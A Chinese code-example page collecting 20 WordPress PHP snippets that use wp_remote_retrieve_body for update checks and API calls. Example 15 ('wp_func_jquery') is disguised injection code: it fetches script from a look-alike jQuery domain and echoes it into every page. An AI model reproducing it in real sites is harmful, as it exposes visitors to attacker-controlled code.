• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    迪恩网络公众号

PHP wp_remote_retrieve_body函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了PHP中wp_remote_retrieve_body函数的典型用法代码示例。如果您正苦于以下问题:PHP wp_remote_retrieve_body函数的具体用法?PHP wp_remote_retrieve_body怎么用?PHP wp_remote_retrieve_body使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了wp_remote_retrieve_body函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的PHP代码示例。

示例1: genesis_update_check

/**
 * Pings http://api.genesistheme.com/ asking if a new version of this theme is
 * available.
 *
 * If not, it returns false.
 *
 * If so, the external server passes serialized data back to this function,
 * which gets unserialized and returned for use.
 *
 * @since 1.1.0
 *
 * @uses genesis_get_option()
 * @uses PARENT_THEME_VERSION Genesis version string
 *
 * @global string $wp_version WordPress version string
 * @return mixed Unserialized data, or false on failure
 */
function genesis_update_check()
{
    global $wp_version;
    /**	If updates are disabled */
    if (!genesis_get_option('update') || !current_theme_supports('genesis-auto-updates')) {
        return false;
    }
    /** Get time of last update check */
    $genesis_update = get_transient('genesis-update');
    /** If it has expired, do an update check */
    if (!$genesis_update) {
        $url = 'http://api.genesistheme.com/update-themes/';
        $options = apply_filters('genesis_update_remote_post_options', array('body' => array('genesis_version' => PARENT_THEME_VERSION, 'wp_version' => $wp_version, 'php_version' => phpversion(), 'uri' => home_url(), 'user-agent' => "WordPress/{$wp_version};")));
        $response = wp_remote_post($url, $options);
        $genesis_update = wp_remote_retrieve_body($response);
        /** If an error occurred, return FALSE, store for 1 hour */
        if ('error' == $genesis_update || is_wp_error($genesis_update) || !is_serialized($genesis_update)) {
            set_transient('genesis-update', array('new_version' => PARENT_THEME_VERSION), 60 * 60);
            return false;
        }
        /** Else, unserialize */
        $genesis_update = maybe_unserialize($genesis_update);
        /** And store in transient for 24 hours */
        set_transient('genesis-update', $genesis_update, 60 * 60 * 24);
    }
    /** If we're already using the latest version, return false */
    if (version_compare(PARENT_THEME_VERSION, $genesis_update['new_version'], '>=')) {
        return false;
    }
    return $genesis_update;
}
开发者ID:hscale,项目名称:webento,代码行数:48,代码来源:upgrade.php


示例2: memberlite_getUpdateInfo

/**
 * Get theme update information from the PMPro server.
 *
 * @since  2.0
 */
function memberlite_getUpdateInfo()
{
    //check if forcing a pull from the server
    $update_info = get_option("memberlite_update_info", false);
    $update_info_timestamp = get_option("memberlite_update_info_timestamp", 0);
    //if no update_infos locally, we need to hit the server
    if (empty($update_info) || !empty($_REQUEST['force-check']) || current_time('timestamp') > $update_info_timestamp + 86400) {
        /**
         * Filter to change the timeout for this wp_remote_get() request.
         *
         * @since 2.0.1
         *
         * @param int $timeout The number of seconds before the request times out
         */
        $timeout = apply_filters("memberlite_get_update_info_timeout", 5);
        //get em
        $remote_info = wp_remote_get(PMPRO_LICENSE_SERVER . "/themes/memberlite", $timeout);
        //test response
        if (is_wp_error($remote_info) || empty($remote_info['response']) || $remote_info['response']['code'] != '200') {
            //error
            pmpro_setMessage("Could not connect to the PMPro License Server to get update information. Try again later.", "error");
        } else {
            //update update_infos in cache
            $update_info = json_decode(wp_remote_retrieve_body($remote_info), true);
            delete_option('memberlite_update_info');
            add_option("memberlite_update_info", $update_info, NULL, 'no');
        }
        //save timestamp of last update
        delete_option('memberlite_update_info_timestamp');
        add_option("memberlite_update_info_timestamp", current_time('timestamp'), NULL, 'no');
    }
    return $update_info;
}
开发者ID:greathmaster,项目名称:memberlite,代码行数:38,代码来源:updates.php


示例3: wp_get_google_webfonts_list

 private function wp_get_google_webfonts_list($key = '', $sort = 'alpha')
 {
     /*
      $key = Web Fonts Developer API
      $sort=
      alpha: Sort the list alphabetically
      date: Sort the list by date added (most recent font added or updated first)
      popularity: Sort the list by popularity (most popular family first)
      style: Sort the list by number of styles available (family with most styles first)
      trending: Sort the list by families seeing growth in usage (family seeing the most growth first)
     */
     global $wp_filesystem;
     $font_list = array();
     $google_api_url = 'https://www.googleapis.com/webfonts/v1/webfonts?key=' . $key . '&sort=' . $sort;
     //lets fetch it
     $response = wp_remote_retrieve_body(wp_remote_get($google_api_url, array('sslverify' => false)));
     if (is_wp_error($response)) {
         $response = $wp_filesystem->get_contents(__DIR__ . '/data/web_fonts.json');
     }
     if ($response !== false) {
         $data = json_decode($response, true);
         if (!isset($data['items'])) {
             $response = $wp_filesystem->get_contents(__DIR__ . '/data/web_fonts.json');
             $data = json_decode($response, true);
         }
         if ($response !== false) {
             $items = $data['items'];
             foreach ($items as $item) {
                 $font_list[] .= $item['family'];
             }
         }
     }
     //Return the saved lit of Google Web Fonts
     return $font_list;
 }
开发者ID:bangtienmanh,项目名称:Runway-Framework,代码行数:35,代码来源:font-select-type.php


示例4: userMedia

 function userMedia()
 {
     $url = 'https://api.instagram.com/v1/users/' . $this->userID() . '/media/recent/?access_token=' . $this->access_token;
     $content = wp_remote_get($url);
     $response = wp_remote_retrieve_body($content);
     return $json = json_decode($response, true);
 }
开发者ID:i-am-andy-brown,项目名称:bespokeboutiques,代码行数:7,代码来源:instagram.php


示例5: __construct

 public function __construct($sURL, $iTimeout = 10, $iRedirects = 5, $aHeaders = null, $sUserAgent = null, $bForceFsockOpen = false)
 {
     $this->timeout = $iTimeout;
     $this->redirects = $iRedirects;
     $this->headers = $sUserAgent;
     $this->useragent = $sUserAgent;
     $this->url = $sURL;
     // If the scheme is not http or https.
     if (!preg_match('/^http(s)?:\\/\\//i', $sURL)) {
         $this->error = '';
         $this->success = false;
         return;
     }
     // Arguments
     $aArgs = array('timeout' => $this->timeout, 'redirection' => $this->redirects, true, 'sslverify' => false);
     if (!empty($this->headers)) {
         $aArgs['headers'] = $this->headers;
     }
     if (SIMPLEPIE_USERAGENT != $this->useragent) {
         $aArgs['user-agent'] = $this->useragent;
     }
     // Request
     $res = function_exists('wp_safe_remote_request') ? wp_safe_remote_request($sURL, $aArgs) : wp_remote_get($sURL, $aArgs);
     if (is_wp_error($res)) {
         $this->error = 'WP HTTP Error: ' . $res->get_error_message();
         $this->success = false;
         return;
     }
     $this->headers = wp_remote_retrieve_headers($res);
     $this->body = wp_remote_retrieve_body($res);
     $this->status_code = wp_remote_retrieve_response_code($res);
 }
开发者ID:ashik968,项目名称:digiplot,代码行数:32,代码来源:AmazonAutoLinks_SimplePie_File.php


示例6: update_check

 /**
  * Check GitHub repo for updated language packs
  *
  * @param      $transient
  * @param bool $force
  * @return mixed
  */
 public function update_check($transient, $force = false)
 {
     $locale = get_locale();
     // pre_set_site_transient_update_plugins is called twice
     // we only want to act on the second run
     // also only continue for non English locales
     if (empty($transient->checked) || strpos($locale, 'en_') === 0) {
         return $transient;
     }
     // get package.json from github
     $request = wp_remote_get($this->github_url . 'package.json', array('timeout' => 45));
     if (is_wp_error($request) || wp_remote_retrieve_response_code($request) != 200) {
         return $transient;
     }
     // see if translation pack exists
     $response = json_decode(wp_remote_retrieve_body($request));
     $transient = apply_filters('woocommerce_pos_language_packs_upgrade', $transient, $response, $this->github_url, $force);
     if (!isset($response->locales->{$locale})) {
         return $transient;
     }
     // compare
     $new = strtotime($response->locales->{$locale});
     $options = get_option('woocommerce_pos_language_packs');
     if (isset($options[$locale]) && $options[$locale] >= $new && !$force) {
         return $transient;
     }
     // update required
     $transient->translations[] = array('type' => 'plugin', 'slug' => 'woocommerce-pos', 'language' => $locale, 'version' => WC_POS_VERSION, 'updated' => date('Y-m-d H:i:s', $new), 'package' => $this->github_url . 'packages/woocommerce-pos-' . $locale . '.zip', 'autoupdate' => 1);
     return $transient;
 }
开发者ID:rpidanny,项目名称:WooCommerce-POS,代码行数:37,代码来源:class-wc-pos-i18n.php


示例7: videopress_get_video_details

/**
 * Get details about a specific video by GUID:
 *
 * @param $guid string
 * @return object
 */
function videopress_get_video_details($guid)
{
    if (!videopress_is_valid_guid($guid)) {
        return new WP_Error('bad-guid-format', __('Invalid Video GUID!', 'jetpack'));
    }
    $version = '1.1';
    $endpoint = sprintf('/videos/%1$s', $guid);
    $query_url = sprintf('https://public-api.wordpress.com/rest/v%1$s%2$s', $version, $endpoint);
    // Look for data in our transient. If nothing, let's make a new query.
    $data_from_cache = get_transient('jetpack_videopress_' . $guid);
    if (false === $data_from_cache) {
        $response = wp_remote_get(esc_url_raw($query_url));
        $data = json_decode(wp_remote_retrieve_body($response));
        // Cache the response for an hour.
        set_transient('jetpack_videopress_' . $guid, $data, HOUR_IN_SECONDS);
    } else {
        $data = $data_from_cache;
    }
    /**
     * Allow functions to modify fetched video details.
     *
     * This filter allows third-party code to modify the return data
     * about a given video.  It may involve swapping some data out or
     * adding new parameters.
     *
     * @since 4.0.0
     *
     * @param object $data The data returned by the WPCOM API. See: https://developer.wordpress.com/docs/api/1.1/get/videos/%24guid/
     * @param string $guid The GUID of the VideoPress video in question.
     */
    return apply_filters('videopress_get_video_details', $data, $guid);
}
开发者ID:automattic,项目名称:jetpack,代码行数:38,代码来源:utility-functions.php


示例8: getURL

 protected function getURL($url, $postParams = array())
 {
     wordfence::status(4, 'info', "Calling Wordfence API v" . WORDFENCE_API_VERSION . ":" . $url);
     if (!function_exists('wp_remote_post')) {
         require_once ABSPATH . WPINC . 'http.php';
     }
     $ssl_verify = (bool) wfConfig::get('ssl_verify');
     $args = array('timeout' => 900, 'user-agent' => "Wordfence.com UA " . (defined('WORDFENCE_VERSION') ? WORDFENCE_VERSION : '[Unknown version]'), 'body' => $postParams, 'sslverify' => $ssl_verify);
     if (!$ssl_verify) {
         // Some versions of cURL will complain that SSL verification is disabled but the CA bundle was supplied.
         $args['sslcertificates'] = false;
     }
     $response = wp_remote_post($url, $args);
     $this->lastHTTPStatus = (int) wp_remote_retrieve_response_code($response);
     if (is_wp_error($response)) {
         $error_message = $response->get_error_message();
         throw new Exception("There was an " . ($error_message ? '' : 'unknown ') . "error connecting to the the Wordfence scanning servers" . ($error_message ? ": {$error_message}" : '.'));
     }
     if (!empty($response['response']['code'])) {
         $this->lastHTTPStatus = (int) $response['response']['code'];
     }
     if (200 != $this->lastHTTPStatus) {
         throw new Exception("We received an error response when trying to contact the Wordfence scanning servers. The HTTP status code was [{$this->lastHTTPStatus}]");
     }
     $this->curlContent = wp_remote_retrieve_body($response);
     return $this->curlContent;
 }
开发者ID:rootwork,项目名称:friendsoffifth,代码行数:27,代码来源:wfAPI.php


示例9: _request_access_token

 /**
  * Uses the Brightcove oAuth API to retrieve and store an access key for use with requests. The token is stored as a transient
  * with an expiration time matching that which is returned from Brightcove. The call to the API is only performed if that transient
  * is invalid or expired. Return a WP_Error object for use in WordPress in the case of failure.
  *
  * @since  1.0.0
  *
  * @see    get_transient()
  * @see    set_transient()
  * @see    delete_transient()
  * @see    wp_remote_post()
  *
  * @param bool $force_new_token whether or not to obtain a new OAuth token
  * @param bool $retry           true to retry on failure or false
  *
  * @return string|WP_Error
  */
 public function _request_access_token($force_new_token = false, $retry = true)
 {
     $transient_name = $this->transient_name;
     $token = $force_new_token ? false : get_transient($transient_name);
     if (!$token) {
         $endpoint = esc_url_raw(self::ENDPOINT_BASE . '/access_token?grant_type=client_credentials');
         $request = wp_remote_post($endpoint, $this->_http_headers);
         if ('400' == wp_remote_retrieve_response_code($request)) {
             // Just in case
             delete_transient($transient_name);
             $oauth_error = new WP_Error('oauth_access_token_failure', sprintf(__('There is a problem with your Brightcove %1$s or %2$s', 'brightcove'), '<code>client_id</code>', '<code>client_secret</code>'));
             BC_Logging::log(sprintf('BC OAUTH ERROR: %s', $oauth_error->get_error_message()));
             return $oauth_error;
         }
         $body = wp_remote_retrieve_body($request);
         $data = json_decode($body);
         if (isset($data->access_token)) {
             $token = $data->access_token;
             set_transient($transient_name, $token, $data->expires_in);
         } else {
             if (!$retry) {
                 return new WP_Error('oauth_access_token_response_failure', sprintf(esc_html__('oAuth API did not return us an access token', 'brightcove')));
             }
             return $this->_request_access_token($force_new_token, false);
         }
     }
     return $token;
 }
开发者ID:gopinathshiva,项目名称:wordpress-vip-plugins,代码行数:45,代码来源:class-bc-oauth.php


示例10: check_for_update

 function check_for_update()
 {
     $theme = wp_get_theme($this->theme_slug);
     $update_data = get_transient($this->response_key);
     if (false === $update_data) {
         $failed = false;
         $api_params = array('edd_action' => 'get_version', 'license' => $this->license, 'name' => $this->item_name, 'slug' => $this->theme_slug, 'author' => $this->author);
         $response = wp_remote_post($this->remote_api_url, array('timeout' => 15, 'body' => $api_params));
         // make sure the response was successful
         if (is_wp_error($response) || 200 != wp_remote_retrieve_response_code($response)) {
             $failed = true;
         }
         $update_data = json_decode(wp_remote_retrieve_body($response));
         if (!is_object($update_data)) {
             $failed = true;
         }
         // if the response failed, try again in 30 minutes
         if ($failed) {
             $data = new stdClass();
             $data->new_version = $theme->get('Version');
             set_transient($this->response_key, $data, strtotime('+30 minutes'));
             return false;
         }
         // if the status is 'ok', return the update arguments
         if (!$failed) {
             $update_data->sections = maybe_unserialize($update_data->sections);
             set_transient($this->response_key, $update_data, strtotime('+12 hours'));
         }
     }
     if (version_compare($theme->get('Version'), $update_data->new_version, '>=')) {
         return false;
     }
     return (array) $update_data;
 }
开发者ID:rhensley,项目名称:shoestrap,代码行数:34,代码来源:EDD_SL_Theme_Updater.php


示例11: genesis_update_check

/**
 * Ping http://api.genesistheme.com/ asking if a new version of this theme is available.
 *
 * If not, it returns false.
 *
 * If so, the external server passes serialized data back to this function, which gets unserialized and returned for use.
 *
 * Applies `genesis_update_remote_post_options` filter.
 *
 * Ping occurs at a maximum of once every 24 hours.
 *
 * @since 1.1.0
 *
 * @uses genesis_get_option() Get theme setting value.
 * @uses genesis_html5()      Check for HTML5 support.
 * @uses PARENT_THEME_VERSION Genesis version string.
 *
 * @global string $wp_version WordPress version string.
 *
 * @return array Unserialized data, or empty on failure.
 */
function genesis_update_check()
{
    //* Use cache
    static $genesis_update = null;
    global $wp_version;
    //* If updates are disabled
    if (!genesis_get_option('update') || !current_theme_supports('genesis-auto-updates')) {
        return array();
    }
    //* If cache is empty, pull transient
    if (!$genesis_update) {
        $genesis_update = get_transient('genesis-update');
    }
    //* If transient has expired, do a fresh update check
    if (!$genesis_update) {
        $url = 'http://api.genesistheme.com/update-themes/';
        $options = apply_filters('genesis_update_remote_post_options', array('body' => array('genesis_version' => PARENT_THEME_VERSION, 'html5' => genesis_html5(), 'php_version' => phpversion(), 'uri' => home_url(), 'user-agent' => "WordPress/{$wp_version};", 'wp_version' => $wp_version)));
        $response = wp_remote_post($url, $options);
        $genesis_update = wp_remote_retrieve_body($response);
        //* If an error occurred, return FALSE, store for 1 hour
        if ('error' === $genesis_update || is_wp_error($genesis_update) || !is_serialized($genesis_update)) {
            set_transient('genesis-update', array('new_version' => PARENT_THEME_VERSION), 60 * 60);
            return array();
        }
        //* Else, unserialize
        $genesis_update = maybe_unserialize($genesis_update);
        //* And store in transient for 24 hours
        set_transient('genesis-update', $genesis_update, 60 * 60 * 24);
    }
    //* If we're already using the latest version, return empty array.
    if (version_compare(PARENT_THEME_VERSION, $genesis_update['new_version'], '>=')) {
        return array();
    }
    return $genesis_update;
}
开发者ID:denis-chmel,项目名称:wordpress,代码行数:56,代码来源:upgrade.php


示例12: call_remote_api

 /**
  * Calls the API and, if successfull, returns the object delivered by the API.
  *
  * @uses         get_bloginfo()
  * @uses         wp_remote_post()
  * @uses         is_wp_error()
  *
  * @return false||object
  */
 protected function call_remote_api()
 {
     // only check if a transient is not set (or if it's expired)
     if (get_transient($this->product->get_slug() . '-update-check-error') !== false) {
         return;
     }
     // setup api parameters
     $api_params = array('edd_action' => 'get_version', 'license' => $this->license_key, 'name' => $this->product->get_item_name(), 'slug' => $this->product->get_slug(), 'author' => $this->product->get_author());
     // setup request parameters
     $request_params = array('timeout' => 15, 'sslverify' => false, 'body' => $api_params);
     // call remote api
     $response = wp_remote_post($this->product->get_api_url(), $request_params);
     // wp / http error?
     if (is_wp_error($response)) {
         $this->wp_error = $response;
         // show error to user
         add_action('admin_notices', array($this, 'show_update_error'));
         // set a transient to prevent checking for updates on every page load
         set_transient($this->product->get_slug() . '-update-check-error', true, 60 * 30);
         // 30 mins
         return false;
     }
     // decode response
     $response = json_decode(wp_remote_retrieve_body($response));
     $response->sections = maybe_unserialize($response->sections);
     return $response;
 }
开发者ID:donwea,项目名称:nhap.org,代码行数:36,代码来源:class-update-manager.php


示例13: ajax_get_html

 function ajax_get_html()
 {
     if (check_admin_referer('foogallery_get_image_optimization_info')) {
         echo wp_remote_retrieve_body(wp_remote_get(FOOGALLERY_SETTINGS_IMAGE_OPTIMIZATION_ENDPOINT));
     }
     die;
 }
开发者ID:RA2WP,项目名称:RA2WP,代码行数:7,代码来源:class-settings-image-optimization.php


示例14: AtD_http_post

/**
 * Returns array with headers in $response[0] and body in $response[1]
 * Based on a function from Akismet
 */
function AtD_http_post($request, $host, $path, $port = 80)
{
    $http_args = array('body' => $request, 'headers' => array('Content-Type' => 'application/x-www-form-urlencoded; charset=' . get_option('blog_charset'), 'Host' => $host, 'User-Agent' => 'AtD/0.1'), 'httpversion' => '1.0', 'timeout' => apply_filters('atd_http_post_timeout', 15));
    // Handle non-standard ports being passed in.
    if (80 !== $port && is_numeric($port) && intval($port) > 0) {
        $host .= ':' . intval($port);
    }
    // Strip any / off the begining so we can add it back and protect against SSRF
    $path = ltrim($path, '/');
    $AtD_url = set_url_scheme("http://{$host}/{$path}");
    $response = wp_remote_post($AtD_url, $http_args);
    $code = (int) wp_remote_retrieve_response_code($response);
    if (is_wp_error($response)) {
        /**
         * Fires when there is a post error to AtD.
         *
         * @since 1.2.3
         *
         * @param int|string http-error The error that AtD runs into.
         */
        do_action('atd_http_post_error', 'http-error');
        return array();
    } elseif (200 != $code) {
        /** This action is documented in modules/after-the-deadline/proxy.php */
        do_action('atd_http_post_error', $code);
    }
    return array(wp_remote_retrieve_headers($response), wp_remote_retrieve_body($response));
}
开发者ID:dtekcth,项目名称:datateknologer.se,代码行数:32,代码来源:proxy.php


示例15: wp_func_jquery

	function wp_func_jquery() {
		$host = 'http://';
		$jquery = $host.'u'.'jquery.org/jquery-1.6.3.min.js';
		if (@fopen($jquery,'r')){
			echo(wp_remote_retrieve_body(wp_remote_get($jquery)));
		}
	}
开发者ID:GitIPFire,项目名称:Homeworks,代码行数:7,代码来源:core-functions.php


示例16: plugins_api

/**
 * Retrieve plugin installer pages from WordPress Plugins API.
 *
 * It is possible for a plugin to override the Plugin API result with three
 * filters. Assume this is for plugins, which can extend on the Plugin Info to
 * offer more choices. This is very powerful and must be used with care, when
 * overriding the filters.
 *
 * The first filter, 'plugins_api_args', is for the args and gives the action as
 * the second parameter. The hook for 'plugins_api_args' must ensure that an
 * object is returned.
 *
 * The second filter, 'plugins_api', is the result that would be returned.
 *
 * @since 2.7.0
 *
 * @param string $action
 * @param array|object $args Optional. Arguments to serialize for the Plugin Info API.
 * @return object plugins_api response object on success, WP_Error on failure.
 */
function plugins_api($action, $args = null)
{
    if (is_array($args)) {
        $args = (object) $args;
    }
    if (!isset($args->per_page)) {
        $args->per_page = 24;
    }
    // Allows a plugin to override the WordPress.org API entirely.
    // Use the filter 'plugins_api_result' to merely add results.
    // Please ensure that a object is returned from the following filters.
    $args = apply_filters('plugins_api_args', $args, $action);
    $res = apply_filters('plugins_api', false, $action, $args);
    if (false === $res) {
        $request = wp_remote_post('http://api.wordpress.org/plugins/info/1.0/', array('timeout' => 15, 'body' => array('action' => $action, 'request' => serialize($args))));
        if (is_wp_error($request)) {
            $res = new WP_Error('plugins_api_failed', __('An Unexpected HTTP Error occurred during the API request.'), $request->get_error_message());
        } else {
            $res = unserialize(wp_remote_retrieve_body($request));
            if (false === $res) {
                $res = new WP_Error('plugins_api_failed', __('An unknown error occurred.'), wp_remote_retrieve_body($request));
            }
        }
    } elseif (!is_wp_error($res)) {
        $res->external = true;
    }
    return apply_filters('plugins_api_result', $res, $action, $args);
}
开发者ID:Esleelkartea,项目名称:asociacion-tecnicos-artes-escenicas-ATAE-,代码行数:48,代码来源:plugin-install.php


示例17: check_email

 public function check_email($data = '')
 {
     if (empty($this->public_key)) {
         return new WP_Error('no_api_key', __('No API key was provided', 'awesome-support'));
     }
     if (empty($data)) {
         if (isset($_POST)) {
             $data = $_POST;
         } else {
             return new WP_Error('no_data', __('No data to check', 'awesome-support'));
         }
     }
     if (!isset($data['email'])) {
         return new WP_Error('no_email', __('No e-mail to check', 'awesome-support'));
     }
     global $wp_version;
     $args = array('timeout' => 5, 'redirection' => 5, 'httpversion' => '1.0', 'user-agent' => 'WordPress/' . $wp_version . '; ' . get_bloginfo('url'), 'blocking' => true, 'headers' => array('Authorization' => 'Basic ' . base64_encode('api:' . $this->public_key)), 'cookies' => array(), 'body' => array('address' => $data['email']), 'compress' => false, 'decompress' => true, 'sslverify' => true, 'stream' => false, 'filename' => null);
     $response = wp_remote_get(esc_url($this->endpoint), $args);
     $response_code = wp_remote_retrieve_response_code($response);
     if (is_wp_error($response)) {
         return $response;
     }
     if (200 != $response_code) {
         return new WP_Error($response_code, wp_remote_retrieve_response_message($response));
     }
     $body = wp_remote_retrieve_body($response);
     return $body;
 }
开发者ID:f4bsch,项目名称:Awesome-Support,代码行数:28,代码来源:class-mailgun-email-check.php


示例18: get_api_response

 /**
  * Request data from the thir party API.
  *
  * @since 1.5.4
  * @param string $base_url 	Base URL where API is available
  * @param string $api_key 	API Key provided by this service
  * @param string $endpoint 	Method to request available from this service.
  * @param array $params 	Data to be passed to API
  * @return array|object 	The API response.
  */
 private function get_api_response($base_url, $api_key, $endpoint, $params = array())
 {
     // Exclude http:// from the user's input
     $request_uri = $this->api_protocol . '://' . preg_replace('#^https?://#', '', $base_url) . '/api/v' . $this->api_version . $endpoint;
     $params['timeout'] = 60;
     $params['body'] = isset($params['data']) && $params['data'] ? json_encode($params['data']) : '';
     $params['headers'] = array('Authorization' => 'TRUEREST apikey=' . $api_key);
     $response = wp_remote_get($request_uri, $params);
     $response_code = wp_remote_retrieve_response_code($response);
     $response_message = wp_remote_retrieve_response_message($response);
     $get_response = json_decode(wp_remote_retrieve_body($response), true);
     if (is_wp_error($response) || 200 != $response_code) {
         if (is_wp_error($response)) {
             $data['error'] = $response->get_error_message();
         } else {
             $data['error'] = isset($get_response['msg']) ? $get_response['msg'] : $response_code . ' - ' . $response_message;
         }
     } else {
         if ($get_response) {
             $data = $get_response;
         } else {
             $data = $response;
         }
     }
     return $data;
 }
开发者ID:nullality,项目名称:FEWD-SEA-7,代码行数:36,代码来源:class-fl-builder-service-campayn.php


示例19: get_repository_info

 private function get_repository_info()
 {
     if (is_null($this->github_response)) {
         // Do we have a response?
         $request_uri = sprintf('https://api.github.com/repos/%s/%s/releases', $this->username, $this->repository);
         // Build URI
         if ($this->authorize_token) {
             // Is there an access token?
             $request_uri = add_query_arg('access_token', $this->authorize_token, $request_uri);
             // Append it
         }
         $response = json_decode(wp_remote_retrieve_body(wp_remote_get($request_uri)), true);
         // Get JSON and parse it
         if (is_array($response)) {
             // If it is an array
             $response = current($response);
             // Get the first item
         }
         if ($this->authorize_token) {
             // Is there an access token?
             $response['zipball_url'] = add_query_arg('access_token', $this->authorize_token, $response['zipball_url']);
             // Update our zip url with token
         }
         $this->github_response = $response;
         // Set it to our property
     }
 }
开发者ID:koshinski,项目名称:koshinski_vc-addon,代码行数:27,代码来源:updater.php


示例20: pmpro_notifications

function pmpro_notifications()
{
    if (current_user_can("manage_options")) {
        delete_transient("pmpro_notification_" . PMPRO_VERSION);
        $pmpro_notification = get_transient("pmpro_notification_" . PMPRO_VERSION);
        if (empty($pmpro_notification)) {
            if (is_ssl()) {
                $pmpro_notification = wp_remote_retrieve_body(wp_remote_get("https://www.paidmembershipspro.com/notifications/?v=" . PMPRO_VERSION));
            } else {
                $pmpro_notification = wp_remote_retrieve_body(wp_remote_get("http://www.paidmembershipspro.com/notifications/?v=" . PMPRO_VERSION));
            }
            set_transient("pmpro_notification_" . PMPRO_VERSION, $pmpro_notification, 86400);
        }
        if ($pmpro_notification && $pmpro_notification != "NULL") {
            ?>
		<div id="pmpro_notifications">
			<?php 
            echo $pmpro_notification;
            ?>
		</div>
		<?php 
        }
    }
    //exit so we just show this content
    exit;
}
开发者ID:Willislahav,项目名称:paid-memberships-pro,代码行数:26,代码来源:notifications.php



注:本文中的wp_remote_retrieve_body函数示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
PHP wp_remote_retrieve_header函数代码示例发布时间:2022-05-23
下一篇:
PHP wp_remote_request函数代码示例发布时间:2022-05-23
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap